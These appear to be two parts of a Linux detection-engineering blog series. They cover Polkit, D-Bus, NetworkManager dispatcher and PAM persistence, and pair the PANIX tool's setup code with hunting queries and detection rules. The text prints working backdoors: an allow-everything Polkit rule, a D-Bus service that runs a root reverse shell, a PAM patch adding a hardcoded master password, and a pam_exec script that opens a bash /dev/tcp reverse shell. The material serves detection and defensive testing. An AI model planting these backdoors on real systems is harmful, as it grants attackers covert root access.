The configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about:

• Action definitions:
  • /usr/share/polkit-1/actions/
• Rule definitions:
  • /etc/polkit-1/rules.d/
  • /usr/share/polkit-1/rules.d/
• Authorization definitions:
  • /etc/polkit-1/localauthority/
  • /var/lib/polkit-1/localauthority/

A Polkit .rules file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here’s a simple example:

polkit.addRule(function(action, subject) {
    if (action.id == "org.freedesktop.systemd1.manage-units" &&
        subject.isInGroup("servicemanagers")) {
        return polkit.Result.YES;
    }
    return polkit.Result.NOT_HANDLED;
});

In this rule:

• The action org.freedesktop.systemd1.manage-units (managing systemd services) is granted to users in the servicemanagers group.
• Other actions fall back to default handling.

This structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges.

Currently, Polkit does not have a dedicated technique in the MITRE ATT&CK framework. The closest match is T1543: Create or Modify System Process, which describes adversaries modifying system-level processes to achieve persistence or privilege escalation.

In the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies.

Persistence through T1543 - Create or Modify System Process: PolicyKit

Now that we understand the theory, let’s take a look at how to simulate this in practice through the setup_polkit.sh PANIX module. First, the module checks the active Polkit version through the pkaction --version command, as versions < 0.106 use the older .pkla files, while newer versions (>= 0.106) use the more recent .rules files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions < 0.106 a .pkla file is created in /etc/polkit-1/localauthority/50-local.d/:

mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF

Allowing any unix-user to do any action through the Identity=unix-user:* and Action=* parameters.

For versions >= 0.106 a .rules file is created in /etc/polkit-1/rules.d/:

mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
	return polkit.Result.YES;
});
EOF

Where an overly permissive policy always returns polkit.Result.YES, which means that any action that requires Polkit’s authentication will be allowed by anyone.

Polkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. 99-panix.rules).

Let’s run the PANIX module with the following command line arguments:

> sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.

And take a look at the logs in Kibana:

Upon execution of PANIX, we can see the pkaction --version command being issued to determine whether a .pkla or .rules file approach is needed. After figuring this out, the correct policy is created, and the polkit service is restarted (this is not always necessary however). Once these policies are in place, a user with a user.Ext.real.id of 1000 (not-root) is capable of obtaining root privileges by executing the pkexec su - command.

Let’s take a look at our detection opportunities:

Detection and endpoint rules that cover Polkit persistence

To revert any changes, you can use the corresponding revert module by running:

> ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.

Hunting for T1543 - Create or Modify System Process: PolicyKit

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following:

1. Creations and/or Modifications to PolicyKit Configuration Files: Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity.
2. Metadata Analysis of PolicyKit Files: Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit.
3. Detection of Rare or Anomalous Events: Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise.

By combining the Persistence via PolicyKit hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1543.

T1543 - Create or Modify System Process: D-Bus

D-Bus (Desktop Bus) is an inter-process communication (IPC) system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication.

At its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels:

• System Bus: Used for communication between system-level services and privileged operations, such as managing hardware or network configuration.
• Session Bus: Used for communication between user-level applications, such as desktop notifications or media players.

A D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows:

Interfaces:

• Define a collection of methods, signals, and properties a service offers.
• Example: org.freedesktop.NetworkManager provides methods to manage network connections.

Methods:

• Allow external processes to invoke specific actions or request information.
• Example: The method org.freedesktop.NetworkManager.Reload can be called to reload a network service.

Signals:

• Notifications sent by a service to inform other processes about events.
• Example: A signal might indicate a network connection status change.

As an example, the following command sends a message to the system bus to invoke the Reload method on the NetworkManager service:

dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Reload uint32:0

D-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files.

These services use service files with a .service extension to tell D-Bus how to start a service. For example:

[D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root

D-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations:

1. System-wide Configuration and Services:
   • System service files:
     • /usr/share/dbus-1/system-services/
     • /usr/local/share/dbus-1/system-services/
   • System policy files:
     • /etc/dbus-1/system.d/
     • /usr/share/dbus-1/system.d/
   • System configuration files:
     • /etc/dbus-1/system.conf
     • /usr/share/dbus-1/system.conf
2. Session-wide Configuration and Services:
   • Session service files:
     • /usr/share/dbus-1/session-services/
     • ~/.local/share/dbus-1/services/
   • Session policy files:
     • /etc/dbus-1/session.d/
     • /usr/share/dbus-1/session.d/
   • Session configuration files:
     • /etc/dbus-1/session.conf
     • /usr/share/dbus-1/session.conf

More details on each path is available here. D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy:

1. Context:

• Policies can apply to specific users, groups, or a default context (default applies to all users unless overridden).

2. Allow/Deny Rules:

• Rules explicitly grant (allow) or restrict (deny) access to methods, interfaces, or services.

3. Granularity:

• Policies can control access at multiple levels:
  • Entire services (e.g., org.freedesktop.MyService).
  • Specific methods or interfaces (e.g., org.freedesktop.MyService.SecretMethod).

The following example demonstrates a D-Bus policy that enforces clear access restrictions:

<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>

This policy:

1. Denies all access to the service org.freedesktop.MyService by default.
2. Grants users in the admin group access to a specific interface (org.freedesktop.MyService.PublicMethod).
3. Grants full access to the org.freedesktop.MyService destination for the root user.

D-Bus’s central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include:

1. Hijacking or Registering Malicious Services:
   • Attackers can replace or add .service files in e.g. /usr/share/dbus-1/system-services/ to hijack legitimate communication or inject malicious code.
2. Creating or Exploiting Over-permissive Policies:
   • Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods.
3. Abusing Vulnerable Services:
   • If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions.

The examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT&CK sub-technique for D-Bus. However, its abuse aligns closely with T1543: Create or Modify System Process, as well as T1574: Hijack Execution Flow for cases where .service files are modified.

In the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior.

Persistence through T1543 - Create or Modify System Process: D-Bus

Now that we've learnt all about D-Bus setup, it’s time to take a look at how to simulate this in practice through the setup_dbus.sh PANIX module. PANIX starts off by creating a D-Bus service file at /usr/share/dbus-1/system-services/org.panix.persistence.service with the following contents:

cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF

This service file will listen on the org.panix.persistence interface, and execute the /usr/local/bin/dbus-panix.sh “service”. The dbus-panix.sh script simply invokes a reverse shell connection when called:

cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF

To ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a /etc/dbus-1/system.d/org.panix.persistence.conf file with the following contents:

cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
	"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
	<!-- Allow any user to own, send to, and access the specified service -->
	<policy context="default">
		<allow own="org.panix.persistence"/>
		<allow send_destination="org.panix.persistence"/>
		<allow send_interface="org.panix.persistence"/>
	</policy>
</busconfig>
EOF

This configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the org.panix.persistence service, effectively granting unrestricted access to it. After restarting the dbus service, the setup is complete.

To interact with the service, the following command can be used:

dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

This command sends a method call to the D-Bus system bus, targeting the org.panix.persistence service, invoking the org.panix.persistence.Method method on the /org/panix/persistence object, effectively triggering the backdoor.

Let’s run the PANIX module with the following command line arguments:

> sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

Upon execution of the dbus-send command:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method

We will take a look at the documents in Kibana:

Upon PANIX execution, the org.panix.persistence.service, dbus-panix.sh, and org.panix.persistence.conf files are created, successfully setting the stage. Afterwards, the dbus service is restarted, and the dbus-send command is executed to interact with the org.panix.persistence service. Upon invocation of the org.panix.persistence.Method method, the dbus-panix.sh backdoor is executed, and the reverse shell connection chain (dbus-panix.sh → nohup → setsid → bash) is initiated.

Let’s take a look at our detection opportunities:

Detection and endpoint rules that cover D-Bus persistence

To revert any changes, you can use the corresponding revert module by running:

> ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.

Hunting for T1543 - Create or Modify System Process: D-Bus

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following:

1. Creations and/or Modifications to D-Bus Configuration and Service Files: Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus.
2. Metadata Analysis of D-Bus Files: Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus.
3. Detection of Suspicious Processes: Monitors executions of processes such as dbus-daemon and dbus-send, which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified.
4. Detection of Rare or Anomalous Events: Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands.

By combining the Persistence via Desktop Bus (D-Bus) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1543.

T1546 - Event Triggered Execution: NetworkManager

NetworkManager is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its dispatcher feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged.

• Event Types: NetworkManager passes specific events to scripts, such as:
  • up: Interface is activated.
  • down: Interface is deactivated.
  • vpn-up: VPN connection is established.
  • vpn-down: VPN connection is disconnected.

Scripts placed in /etc/NetworkManager/dispatcher.d/ are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this:

#!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi

Logging events and executing commands whenever a network interface comes up or goes down.

To achieve persistence through this technique, an attacker can either:

• Create a custom script, mark it executable and place it within the dispatcher directory
• Modify a legitimate dispatcher script to execute a payload upon a certain network event.

Persistence through dispatcher.d/ aligns with T1546: Event Triggered Execution and T1543: Create or Modify System Process in the MITRE ATT&CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique.

In the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering.

Persistence through T1546 - Event Triggered Execution:

The concept of this technique is very simple, let’s now put it to practice through the setup_network_manager.sh PANIX module. The module checks whether the NetworkManager package is available, and whether the /etc/NetworkManager/dispatcher.d/ path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh, with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated.

cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
	exit 0
fi

if [ -z "$1" ]; then
	echo "$0: called with no interface" 1>&2
	exit 1
fi

[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"

We have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper.

Let’s run the PANIX module with the following command line arguments:

> sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh

Now, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let’s take a look at the documents in Kibana:

Upon PANIX execution, the panix-dispatcher.sh script is created, marked as executable and sed is used to add the payload to the bottom of the script. Upon restarting the NetworkManager service through systemctl, we can see nm-dispatcher executing the panix-dispatcher.sh script, effectively detonating the reverse shell chain (panix-dispatcher.sh → nohup → setsid → bash).

And finally, let’s take a look at our detection opportunities:

Detection and endpoint rules that cover network-manager persistence

To revert any changes, you can use the corresponding revert module by running:

> ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.

Hunting for T1546 - Event Triggered Execution: NetworkManager

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following:

1. Creations and/or Modifications to Dispatcher Scripts: Tracks changes within the /etc/NetworkManager/dispatcher.d/ directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent.
2. Detection of Suspicious Processes: Monitors processes executed by nm-dispatcher or scripts located in /etc/NetworkManager/dispatcher.d/. By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified.
3. Metadata Analysis of Dispatcher Scripts: Inspects ownership, last access times, and modification timestamps for files in /etc/NetworkManager/dispatcher.d/. This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts.

By combining the Persistence via NetworkManager Dispatcher Script hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1546.

Conclusion

In the fifth and concluding chapter of the "Linux Detection Engineering" series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence, followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios.

Throughout this series, PANIX played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms.

As we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting!

Welcome to part four of the Linux Persistence Detection Engineering series! In this article, we continue to dig deep into the world of Linux persistence. Building on foundational concepts and techniques explored in the previous publications, this post discusses some creative and/or complex persistence mechanisms.

If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:

• Linux Detection Engineering - A Primer on Persistence Mechanisms
• Linux Detection Engineering - A Sequel on Persistence Mechanisms
• Linux Detection Engineering - A Continuation on Persistence Mechanisms

In this publication, we’ll provide insights into:

• How each works (theory)
• How to set each up (practice)
• How to detect them (SIEM and Endpoint rules)
• How to hunt for them (ES|QL and OSQuery reference hunts)

To make the process even more engaging, we will be leveraging PANIX, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.

By the end of this series, you'll have a robust knowledge of common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Let’s dive in!

Setup note

To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to enable and update our pre-built detection rules. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.

T1556.003 - Modify Authentication Process: Pluggable Authentication Modules

Pluggable Authentication Modules (PAM) are a powerful framework used in Linux to manage authentication-related tasks. PAM operates as a layer between applications and authentication methods, allowing system administrators to configure flexible and modular authentication policies. These modules are defined in configuration files typically found in /etc/pam.d/.

PAM modules themselves are shared library files commonly stored in the following locations:

• /lib/security/
• /lib64/security/
• /lib/x86_64-linux-gnu/security/
• /usr/lib/security/
• /usr/lib64/security/
• /usr/lib/x86_64-linux-gnu/security/

These locations house modules that perform authentication tasks, such as validating passwords, managing accounts, or executing scripts during authentication. While PAM provides the essential capability to centralize how secure authentication happens, its flexibility can be abused by attackers to establish persistence through malicious PAM modules. By introducing custom modules or modifying existing configurations, attackers can manipulate authentication flows to capture credentials, manipulate logging to evade detection, grant unauthorized access, or execute malicious code.

This is a common technique, and some examples include the open-source Medusa and Azazel rootkits, and by malwares such as Ebury, and Skidmap to establish persistence, capture credentials, and maintain unauthorized access. MITRE ATT&CK tracks this technique under the identifier T1556.003.

T1556.003 - Pluggable Authentication Modules: Malicious PAM

Malicious PAM modules are custom-built, malicious shared libraries designed to be loaded during the PAM authentication process. Although there are many different ways to establish a PAM backdoor, in this section we will showcase how PAM can be patched to allow for backdoor SSH access.

Commonly, PAM backdoors will patch the pam_unix_auth.c file, which is part of the pam_unix module, a widely used PAM module for UNIX-style password authentication. An open-source example of this is the linux-pam-backdoor by zephrax. The typical code that is run to verify the password of a user requesting authentication, looks as follows:

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;

The original code calls the _unix_verify_password function to validate the provided password (p) against the stored password for the user (name). The full source code is available here.

A threat actor may patch this code, and introduce an additional check.

/* verify the password of this user */
if (strcmp(p, "_PASSWORD_") != 0) {    
	retval = _unix_verify_password(pamh, name, p, ctrl); 
} else {    
	retval = PAM_SUCCESS; 
}

The code now checks:

• If the provided password (p) is not equal to the string literal "_PASSWORD_", it proceeds to call _unix_verify_password for standard password validation.
• If the password is "_PASSWORD_", it skips the password verification entirely and directly returns PAM_SUCCESS, indicating successful authentication.

The patch introduces a hardcoded backdoor password. Any user who enters the password "_PASSWORD_" will bypass normal password verification and be authenticated successfully, regardless of the actual password stored for the account.

Persistence through T1556.003 - Pluggable Authentication Modules: Malicious PAM

We will be leveraging the setup_pam.sh module from PANIX to test this technique and research potential detection opportunities. This patch is easily implemented by downloading the PAM source code for the correct PAM version from the linux-pam GitHub repository, looking for the line to replace, and replacing it with your own hardcoded password:

echo "[+] Modifying PAM source..."
local target_file="$src_dir/modules/pam_unix/pam_unix_auth.c"
if grep -q "retval = _unix_verify_password(pamh, name, p, ctrl);" "$target_file"; then
	sed -i '/retval = _unix_verify_password(pamh, name, p, ctrl);/a\
	if (p != NULL && strcmp(p, "'$password'") != 0) { retval = _unix_verify_password(pamh, name, p, ctrl); } else { retval = PAM_SUCCESS; }' "$target_file"
	echo "[+] Source modified successfully."
else
	echo "[-] Target string not found in $target_file. Modification failed."
	exit 1
fi

After which we can compile the shared object, and move it to the correct PAM directory.

Now let’s run the setup_pam.sh module. This technique requires several compilation tools and downloading a specific Linux-PAM release. Execute the following PANIX command to inject a malicious module.

> sudo ./panix.sh --pam --module --password persistence

[+] Determining PAM version...                                                                                          
[+] Detected PAM Version: '1.3.1'
[+] Downloading PAM source...
[+] Download completed. Extracting...
[+] Extraction completed.
[+] Modifying PAM source... 
[+] Source modified successfully.
[+] Compiling PAM source...
[+] PAM compiled successfully.
[+] Detecting PAM library directory...
[+] Backing up original PAM library...
[+] Copying PAM library to /lib/x86_64-linux-gnu/security...
[+] Checking SELinux status...
[+] Rogue PAM injected!                                                                                                                                                                                                             
You can now login to any user (including root) with a login shell using your specified password.
Example: su - user
Example: ssh user@ip

[+] PAM persistence established! 

Let’s analyze the events of interest in Discover. Due to the huge load of events originating from compiling PAM source, these events are sorted from oldest (top) to newest (bottom).

Upon execution of PANIX, we can see dpkg being used to discover the running PAM version, followed by a curl execution to download the linux-pam source for this identified version. After extracting the tar archive, PANIX continues to modify the pam_unix_auth.c source code to implement the backdoor.

Once the above steps are completed, the following events occur (sorted from newest (top) to oldest (bottom)):

The pam_unix.so file is compiled, and moved to the correct directory (in this case /lib/x86_64-linux-gnu/security), overwriting the existing pam_unix.so file and successfully activating the backdoor.

Let's review the coverage:

Detection and endpoint rules that cover Malicious PAM persistence

To revert any changes made to the system by PANIX, you can use the corresponding revert module by running:

> ./panix.sh --revert pam

[+] Searching for rogue PAM module
[+] Restored original PAM module '/lib/x86_64-linux-gnu/security/pam_unix.so'.
[+] Restarting SSH service...
[+] SSH service restarted successfully.

Hunting for T1556.003 - Pluggable Authentication Modules (Malicious PAM)

Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This publication will solely list the available hunts for each persistence mechanism; however, more details regarding the basics of threat hunting are outlined in the “Hunting for T1053 - scheduled task/job” section of “Linux Detection Engineering - A primer on persistence mechanisms”. Additionally, descriptions and references can be found in our Detection Rules repository, specifically in the Linux hunting subdirectory.

We can hunt for PAM persistence through ES|QL and OSQuery, focusing on file creations (as this technique requires the compilation of modified PAM components) and modifications to PAM-related files and directories. The approach includes monitoring for the following:

• Creations and/or modifications to PAM configuration files: Tracks changes to files in the /etc/pam.d/ and /lib/security/ directories and the /etc/pam.conf file, which are commonly targeted for PAM persistence.

By combining the Persistence via Pluggable Authentication Modules hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1556.003.

T1556.003 - Pluggable Authentication Modules: pam_exec.so

The pam_exec.so module, part of the PAM framework, allows administrators to execute external commands or scripts during the authentication process. This flexibility is powerful for extending authentication workflows with tasks like logging, additional security checks, or notifications. However, this same capability can be exploited by attackers to log passwords or execute backdoors, enabling malicious scripts to run when users authenticate.

To understand how pam_exec.so can be configured, consider the following excerpt from /etc/pam.d/common-auth, a file that defines the authentication scheme for Linux systems:

# /etc/pam.d/common-auth - authentication settings common to all services

# Primary modules
auth [success=1 default=ignore] pam_unix.so nullok_secure

# Fallback if no module succeeds
auth requisite pam_deny.so

# Ensure a positive return value if none is set
auth required pam_permit.so

This file controls how authentication is processed for all services. Each line defines a module and its behavior. For instance:

• The auth keyword indicates that the module operates during the authentication phase.
• Control flags, like [success=1 default=ignore], specify how PAM interprets the module's result. For example, success=1 skips the next module if the current one succeeds.
• The requisite flag immediately denies authentication if the module fails:
  • auth requisite pam_deny.so
• The required flag ensures the module must succeed for authentication to proceed, though subsequent modules in the stack will still execute:
  • auth required pam_permit.so

Modules such as pam_unix.so handle traditional UNIX authentication by validating user credentials against /etc/shadow. Together, these components define the authentication process and dictate how the system responds to various conditions. For more information and examples, visit the pam.d man page.

One way of abusing this mechanism is by leveraging the pam_exec.so module to execute an arbitrary script upon authentication through /etc/pam.d/sshd. By providing the path to a backdoor script on the host system, we can ensure that our backdoor is executed on every successful SSH authentication. Group-IB wrote about this technique in a recent publication dubbed “The Duality of the Pluggable Authentication Module (PAM)”.

A second method involves the modification of /etc/pam.d/common-auth for Debian-based systems or /etc/pam.d/sshd for Fedora-based systems to log user credentials. This technique was earlier discussed in Wunderwuzzi’s blog called “Post Exploitation: Sniffing Logon Passwords with PAM”. While capturing credentials isn't technically a persistence mechanism, it enables ongoing access to a host by leveraging stolen credentials.

In the next section we will take a look at how to implement arbitrary command execution through pam_exec.so using PANIX.

Persistence through T1556.003 - Pluggable Authentication Modules: pam_exec.so

To better understand the technique, we will take a look at the setup_pam.sh PANIX module.

echo -e "#!/bin/bash\nnohup setsid /bin/bash -c '/bin/bash -i >& /dev/tcp/$ip/$port 0>&1' &" > /bin/pam_exec_backdoor.sh

chmod 700 /bin/pam_exec_backdoor.sh

pam_sshd_file="/etc/pam.d/sshd"
pam_line="session optional pam_exec.so seteuid /bin/pam_exec_backdoor.sh"

The first step is to create the backdoor script to execute, this can be any C2 beacon, reverse shell or other means of persistence. PANIX creates a simple reverse shell and grants it execution permissions. Once the backdoor in /bin/pam_exec_backdoor.sh is in place, the /etc/pam.d/sshd file is modified. The session keyword ensures the script runs during user session setup or teardown, while seteuid ensures the script runs with the effective user ID (eUID) of the authenticated user instead of root.

Since the detection methods for the password harvesting module are quite similar to those of the backdoor module, we will focus on discussing the backdoor module in detail. You are encouraged to explore the password-harvesting module on your own!

Let’s run the PANIX module with the following command line arguments:

> sudo ./panix.sh --pam --pam-exec --backdoor --ip 192.168.100.1 --port 2015

[+] Creating reverse shell script at /bin/pam_exec_backdoor.sh...
[+] /bin/pam_exec_backdoor.sh created and permissions set to 700.
[+] Modifying /etc/pam.d/sshd to include the PAM_EXEC rule...
[+] PAM_EXEC rule added to /etc/pam.d/sshd.
[+] Restarting SSH service to apply changes...
[+] SSH service restarted successfully.
[+] PAM_EXEC reverse shell backdoor planted!

Authenticate to trigger the reverse shell.

[+] PAM persistence established!

After triggering the reverse shell by authentication, we can analyze the logs in Discover:

After PANIX executes, it creates and grants execution permissions to the /bin/pam_exec_backdoor.sh backdoor. Next, the backdoor configuration is added to the /etc/pam.d/sshd file, and the SSHD service is restarted. Upon authentication, we can see the execution of the backdoor by the SSHD parent process, starting the reverse shell chain (pam_exec_backdoor.sh → nohup → setsid → bash).

Let’s review the coverage. The key distinction between this technique and the previous one is that this method relies on configuration changes rather than compiling a new PAM module, requiring a different set of detection rules to address the threat effectively:

Detection and endpoint rules that cover pam_exec.so persistence

To revert any changes, you can use the corresponding revert module by running:

> ./panix.sh --revert pam

[+] Removing PAM_EXEC backdoor...
[+] Removed '/bin/pam_exec_backdoor.sh'.
[+] Removed PAM_EXEC line from '/etc/pam.d/sshd'.
[+] Restarting SSH service...
[+] SSH service restarted successfully.
[-] PAM_EXEC line not found in '/etc/pam.d/common-auth'.

Hunting for T1556.003 - Pluggable Authentication Modules: pam_exec.so

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to its use. This technique relies on altering PAM configuration files, rather than compilation to execute commands or scripts. The approach includes monitoring for the following:

• Child processes spawned from SSH: Tracks processes initiated via SSH sessions, as these may indicate the misuse of pam_exec.so for persistence.
• Creations and/or modifications to PAM configuration files: Tracks changes to files in the /etc/pam.d/ and /lib/security/ directories and the /etc/pam.conf file, which are commonly targeted for PAM persistence.

